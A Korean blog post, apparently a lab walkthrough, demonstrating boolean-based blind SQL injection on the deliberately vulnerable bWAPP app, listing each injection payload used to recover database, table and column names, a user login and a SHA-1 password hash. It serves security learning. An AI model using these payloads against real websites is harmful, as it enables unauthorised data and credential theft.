본문 바로가기
웹/비박스

Blind SQL Injection - Boolean Based

by SH_L 2022. 7. 5.
반응형

[Blind SQL Injection - Boolean Based의 정의]

 

Boolean Based의 Blind SQL Injection은 쿼리의 결과를 참과 거짓만 출력하는 페이지에서 사용하는 공격이다. 출력 내용이 참과 거짓 밖에 없기 때문에 데이터베이스의 내용을 추측하여 쿼리를 조작한다. 쿼리는 데이터베이스 내용이 일치하여 웹 페이지에서 참을 출력할 때까지 임의의 값을 대입한다.

 

쿼리에 사용하는 함수는 substring, ascii, length 등이 있다. substring 함수는 첫 번째 인자로 받은 문자열을 지정한 길이만큼 출력하는데, 주로 문자 하나씩 출력하여 이름을 알아내는데 사용한다. ascii 함수는 문자를 아스키코드로 변환하는데, 작은 따옴표(')가 필터링으로 막힌 경우에 사용한다. length 함수는 문자열의 길이를 반환한다.

 

 

 

[참과 거짓 판별]

 

' or 1=1#

 

Boolean Based의 Blind SQL Injection 취약점을 알아보기 위하여 검색란에 결과를 항상 참으로 만드는 쿼리를 입력한다.

 

 

SQL Injection 결과 해당 영화가 존재한다는 메시지를 출력하는데, 이는 결과가 참일 때 웹 페이지에서 출력하는 메세지다.

 

' or 1=2#

 

이번에는 반대로 결과를 항상 거짓으로 만드는 쿼리를 입력한다.

 

 

SQL Injection 결과 해당 영화가 존재하지 않는다는 메시지를 출력하는데, 이는 결과가 거짓일 때 웹 페이지에서 출력하는 메세지다. 두 메시지를 통하여 쿼리의 참과 거짓을 판별할 수 있다.

 

 

 

[데이터베이스 판별]

 

비박스는 users 테이블에 계정 정보를 저장하고 있고 users 테이블 안에 있는 login 컬럼에 회원 아이디를 저장한다. 따라서 users 테이블에서 회원 아이다가 bee인 회원의 비밀번호를 알아내는 것을 목표로 한다.

 

' or 1=1 and length(database())=5#

 

우선 '' or 1=1' 쿼리로 서버의 정상 쿼리와 연결한 뒤 length 함수를 사용하여 데이터베이스 이름의 길이를 추측하는 쿼리를 작성한다. database() 함수는 서버의 데이터베이스 명을 반환하는 시스템 함수로 5일 때 참인 메시지를 출력한다. 즉, 데이터베이스 이름의 길이가 다섯 자리임을 알 수 있다.

 

' or 1=1 and substring(database(), 1, 1)='b'#

 

다음은 데이터베이스의 이름을 추측하는 쿼리를 작성한다. substring 함수를 사용하여 데이터베이스의 첫 번째 자리부터 하나씩 글자를 구분한다. 알파벳 b를 대입하면 참인 메시지를 출력하므로 데이터베이스 이름은 b로 시작하는 다섯 글자임을 알 수 있다.

 

' or 1=1 and substring(database(), 1, 5)='bwapp'#

 

참인 메시지를 출력하므로 데이터베이스 이름이 bwapp임을 알 수 있다.

 

 

 

[테이블 판별]

 

' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bwapp' limit 3,1))=5#

 

데이터베이스의 이름을 알아냈으니 이번에는 bwapp 데이터베이스에 저장된 네 번째 테이블 명을 알아내는 쿼리를 작성해본다. 우선 length 함수를 사용하여 테이블 명의 길이를 알아낸다. 5일 때 참인 메시지를 출력하기 때문에 테이블 명의 길이가 다섯 자리임을 알 수 있다.

 

' or 1=1 and substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bwapp' limit 3,1), 1, 1)='u'#

 

다음은 테이블 명을 추측하는 쿼리를 작성한다. substring 함수를 사용하여 테이블 명의 첫 번째 자리부터 하나씩 글자를 구분한다. 알파벳 u를 대입하면 참인 메시지를 출력하므로 테이블 명은 u로 시작하는 다섯 글자임을 알 수 있다.

 

' or 1=1 and substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bwapp' limit 3,1), 1, 5)='users'#

 

참인 메시지를 출력하므로 테이블 명이 users임을 알 수 있다.

 

 

 

[컬럼 판별]

 

' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=2#

 

bwapp 데이터베이스에 저장된 네 번째 테이블 명을 알아냈으니 이번에는 users 테이블에 저장된 첫 번째 컬럼 명을 알아내는 쿼리를 작성해본다. 우선 length 함수를 사용하여 컬럼 명의 길이를 알아낸다. 2일 때 참인 메시지를 출력하기 때문에 컬럼 명의 길이가 두 자리임을 알 수 있다.

 

' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1), 1, 1)='i'#

 

다음은 컬럼 명의 이름을 추측하는 쿼리를 작성한다. substring 함수를 사용하여 컬럼 명의 첫 번째 자리부터 하나씩 글자를 구분한다. 알파벳 i를 대입하면 참인 메시지를 출력하므로 컬럼 명은 i로 시작하는 두 글자임을 알 수 있다.

 

' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1), 1, 2)='id'#

 

참인 메시지를 출력하므로 컬럼 명이 id임을 알 수 있다.

 

' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 1,1))=5#

 

users 테이블에 저장된 첫 번째 컬럼 명을 알아냈으니 이번에는 두 번째 컬럼 명을 알아내는 쿼리를 작성해본다. 우선 length 함수를 사용하여 컬럼 명의 길이를 알아낸다. 5일 때 참인 메시지를 출력하기 때문에 컬럼 명의 길이가 다섯 자리임을 알 수 있다.

 

' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 1,1), 1, 1)='l'#

 

다음은 컬럼 명의 이름을 추측하는 쿼리를 작성한다. substring 함수를 사용하여 컬럼 명의 첫 번째 자리부터 하나씩 글자를 구분한다. 알파벳 l를 대입하면 참인 메시지를 출력하므로 컬럼 명은 l로 시작하는 다섯 글자임을 알 수 있다.

 

' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 1,1), 1, 5)='login'#

 

참인 메시지를 출력하므로 컬럼 명이 login임을 알 수 있다.

 

' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 2,1))=8#

 

users 테이블에 저장된 두 번째 컬럼 명을 알아냈으니 이번에는 세 번째 컬럼 명을 알아내는 쿼리를 작성해본다. 우선 length 함수를 사용하여 컬럼 명의 길이를 알아낸다. 8일 때 참인 메시지를 출력하기 때문에 컬럼 명의 길이가 여덟 자리임을 알 수 있다.

 

' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 2,1), 1, 1)='p'#

 

다음은 컬럼 명의 이름을 추측하는 쿼리를 작성한다. substring 함수를 사용하여 컬럼 명의 첫 번째 자리부터 하나씩 글자를 구분한다. 알파벳 p를 대입하면 참인 메시지를 출력하므로 컬럼 명은 p로 시작하는 여덟 글자임을 알 수 있다.

 

' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 2,1), 1, 8)='password'#

 

참인 메시지를 출력하므로 컬럼 명이 password임을 알 수 있다.

 

 

 

[컬럼 내용 판별]

 

' or 1=1 and length((select login from users limit 1,1))=3#

 

users 테이블에 저장된 컬럼 중 하나인 login 컬럼의 내용을 파악하기 위한 쿼리를 작성한다. 우선 length 함수를 사용하여 컬럼 내용의 길이를 알아낸다. 3일 때 참인 메시지를 출력하기 때문에 login 컬럼 내용의 길이가 세 자리임을 알 수 있다.

 

' or 1=1 and substring((select login from users limit 1,1), 1, 1)='b'#

 

다음은 컬럼 내용을 추측하는 쿼리를 작성한다. substring 함수를 사용하여 컬럼 내용의 첫 번째 자리부터 하나씩 글자를 구분한다. 알파벳 b를 대입하면 참인 메시지를 출력하므로 컬럼 명은 b로 시작하는 세 글자임을 알 수 있다.

 

' or 1=1 and substring((select login from users limit 1,1), 1, 3)='bee'#

 

참인 메시지를 출력하므로 login 컬럼 내용이 bee임을 알 수 있다.

 

' or 1=1 and length((select password from users limit 1,1))=40#

 

users 테이블에 저장된 컬럼 중 하나인 password 컬럼의 내용을 파악하기 위한 쿼리를 작성한다. 우선 length 함수를 사용하여 컬럼 내용의 길이를 알아낸다. 40일 때 참인 메시지를 출력하기 때문에 password 컬럼 내용의 길이가 마흔 자리임을 알 수 있다.

 

' or 1=1 and substring((select password from users limit 1,1), 1, 3)='bug'#

 

login 컬럼 내용이 bee이기 때문에 자연스레 password 컬럼 내용이 bug라고 예상하여 다음과 같이 쿼리를 작성했었다. 이때, 컬럼 내용의 길이가 마흔 글자이기 때문에 password 컬럼 내용이 단순하게 비밀번호 원문이 아닌 해시 값일 수도 있겠다는 추측이 가능하다.

 

' or 1=1 and md5("bug")=(select password from users where login='bee')#

 

먼저 MD5 해시 함수를 사용하는지 확인하기 위해 쿼리를 작성했다. 거짓인 메시지를 출력하므로 MD5 해시 함수를 사용하는 것은 아닌 것 같다.

 

' or 1=1 and sha1("bug")=(select password from users where login='bee')#

 

다음으로 SHA-1 해시 함수를 사용하는지 확인하기 위해 쿼리를 작성했다. 참인 메시지를 출력하므로 SHA-1 해시 함수를 사용하는 것을 알 수 있다.

 

' or 1=1 and substring((select password from users limit 1,1), 1, 40)=sha1("bug")#

 

위의 쿼리로도 사용이 가능하다.

반응형

' > 비박스' 카테고리의 다른 글

비밀번호 변경 & 비밀번호 힌트 변경  (0) 2022.07.31
서버 측 요청 변조  (0) 2022.07.31
반사된 XSS 취약점  (0) 2022.07.31
세션 관리 취약점  (0) 2022.07.17
Blind SQL Injection - Time Based  (0) 2022.07.07